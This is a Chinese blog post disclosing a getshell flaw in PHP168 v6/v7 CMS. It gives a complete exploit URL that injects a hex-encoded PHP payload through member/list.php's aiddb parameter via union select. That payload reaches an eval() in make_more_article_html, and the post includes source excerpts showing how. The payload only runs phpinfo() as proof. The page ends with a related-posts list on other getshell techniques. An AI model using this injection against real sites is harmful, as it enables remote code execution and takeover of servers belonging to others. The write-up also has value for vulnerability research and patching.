php168 shell,php168 v6/v7鸡肋Getshell安全问题

刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋，需要条件：

1.网站配置为：文章生成真静态

2.允许注册会员

给出v6的测试代码，提交后执行phpinfo()，v7原理一样，只是数据库字段数不一样。

member/list.php?step=2&type=delete&aiddb[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7b247b706870696e666f28297d7d,6,7%23

0x01 漏洞在make_more_article_html这个函数：

function make_more_article_html($comebackurl='/',$type='',$aiddb=''){

global $db,$pre,$webdb,$webdb,$showhtml_type;

if($webdb[newsmakehtml]!=1||$aiddb=='') // $webdb[newsmakehtml] 真静态

{ return ;}

...

$query = $db->query("select a.*,b.bencandy_html,b.list_html,d.aid from {$pre}article_db d left join {$pre}article a on d.aid=a.aid left join {$pre}sort b on a.fid=b.fid where d.aid in ($string)");

while($rs = $db->fetch_array($query)){

...

$filename_b=$rs[bencandy_html];

...

eval("\$showurl=\"$filename_b\";");

...

0x02 在 \member\list.php中调用了该漏洞函数：

if($step==2){

...

if($type=='delete'){

make_more_article_html("$fromurl","del_0",$aiddb);

by：k4shifz[w.s.t]

希望与广大网友互动？？

点此进行留言吧！

php168 shell,php168 v6/v7鸡肋Getshell安全问题相关推荐

天天团购后台Getshell安全问题
后台注射,向数据库插入代码.exp需要填写四个参数 $host.$path.$formhash.$cookie.提交后,前台登录执行代码. <?php /* TianTian Tuangou g ...
深度学习_目标检测_YOLOv1,v2,v3,v4,v5,v6,v7全系列详解（持续更新）
[Make YOLO Great Again]栏目专注于从更实战,更深刻的角度解析YOLOv1-v7这个CV领域举足轻重的算法系列,并给出其在业务侧,竞赛侧以及研究侧的延伸思考.欢迎大家一起交流学习
揭开芯面纱主流平板电脑方案深度剖析之ARMv5,v6,v7架构阵营
一.全文框架按阵营分为: Ⅰ.ARMv5架构阵营,代表核心: ARM9核心 Ⅱ.ARMv6架构阵营,代表核心: ARM11核心 Ⅲ.ARMv7架构阵营,代表核心: ① 高通Scorpion核心 ②C ...
shell 写入文件_phpMyAdmin利用日志文件GetSHELL
phpMyAdmin简介 phpMyAdmin 是众多MySQL图形化管理工具中使用最为广泛的一种,是一款使用PHP 开发的基于B/S模式的MySQL客户端软件,该工具是基于 Web 跨平台的管理程序 ...
SSH secure shell 权威指南(转载)
本书是一本介绍通信安全的书籍,如果你想保障你的通信安全,本书能给你一个很好的解决方案.本书从ssh协议介绍起,到具体的开源实现和商业实现.但本书同时介绍开源实现和商业实现,给人感觉比较乱. 注意:由于 ...
渗透测试-getshell学习总结
getshell学习总结文章目录 getshell学习总结一.方法分类 1.带有漏洞的应用 2.常规漏洞 3.后台拿shell 二.网站常见getshell方法 1.数据库备份拿shell 2.上 ...
GETSHELL学习总结
分类带有漏洞的应用 redis .tomcat.解析漏洞.编辑器.FTP 常规漏洞 sql注入.上传.文件包含.命令执行.Struts2.代码反序列化后台拿shell 上传.数据库备份.配置插马 ...
学习笔记-B/S - Exploits
B/S - Exploits 免责声明本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关. 大纲各类论坛/CMS框架 AEM 74CMS dedeC ...
170907 WarGames-Behemoth（5-6）
1625-5 王子昂总结<2017年9月7日> [连续第339天总结] A. WarGames-Behemoth B. Level 5 int __cdecl __noreturn ma ...
cms建站系统有哪些，各自的特点是什么？
CMS是 Content Management System的英文缩写中文名称是: 网站内容管理系统. CMS是一个综合整站解决方案,有点类系系统集成说的Total Solution.CMS应该是以 ...

php168 shell,php168 v6/v7鸡肋Getshell安全问题

php168 shell,php168 v6/v7鸡肋Getshell安全问题相关推荐

最新文章

热门文章